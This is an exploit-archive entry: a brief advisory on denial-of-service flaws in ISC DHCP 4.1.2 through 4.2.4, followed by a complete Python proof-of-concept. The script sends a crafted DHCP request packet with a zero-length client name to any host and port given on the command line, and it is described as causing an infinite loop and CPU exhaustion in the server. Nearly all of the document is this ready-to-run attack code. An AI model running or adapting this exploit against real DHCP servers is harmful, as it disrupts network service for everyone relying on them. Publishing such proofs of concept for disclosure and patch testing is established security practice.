ISC DHCP 4.x – Multiple Denial of Service Vulnerabilities

source: https://www.securityfocus.com/bid/54665/info

ISC DHCP is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to cause the affected application to crash, resulting in a denial-of-service condition.

#!/usr/bin/python

'''

SC DHCP 4.1.2 <> 4.2.4 and 4.1-ESV <> 4.1-ESV-R6 remote denial of

service(infinite loop and CPU consumption/chew) via zero'ed client name length

http://www.k1p0d.com

'''

import socket

import getopt

from sys import argv

def main():

args = argv[1:]

try:

args, useless = getopt.getopt(args, 'p:h:')

args = dict(args)

args['-p']

args['-h']

except:

usage(argv[0])

exit(-1)

dhcp_req_packet = ('\x01\x01\x06\x00\x40\x00\x03\x6f'

'\x00\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x00\x22\x5f\xae'

'\xa7\xdf\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x63\x82\x53\x63'

'\x35\x01\x03\x32\x04\x0a\x00\x00'

'\x01\x0c\x00'

'\x37\x0d\x01\x1c\x02\x03\x0f'

'\x06\x77\x0c\x2c\x2f\x1a\x79\x2a'

'\xff\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00')

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.connect((args['-h'], int(args['-p'])))

sock.sendall(dhcp_req_packet)

print 'Packet sent'

sock.close()

def usage(pyname):

print '''

Usage: %s -h <host> -p <port>

''' % pyname

if __name__ == "__main__":

main()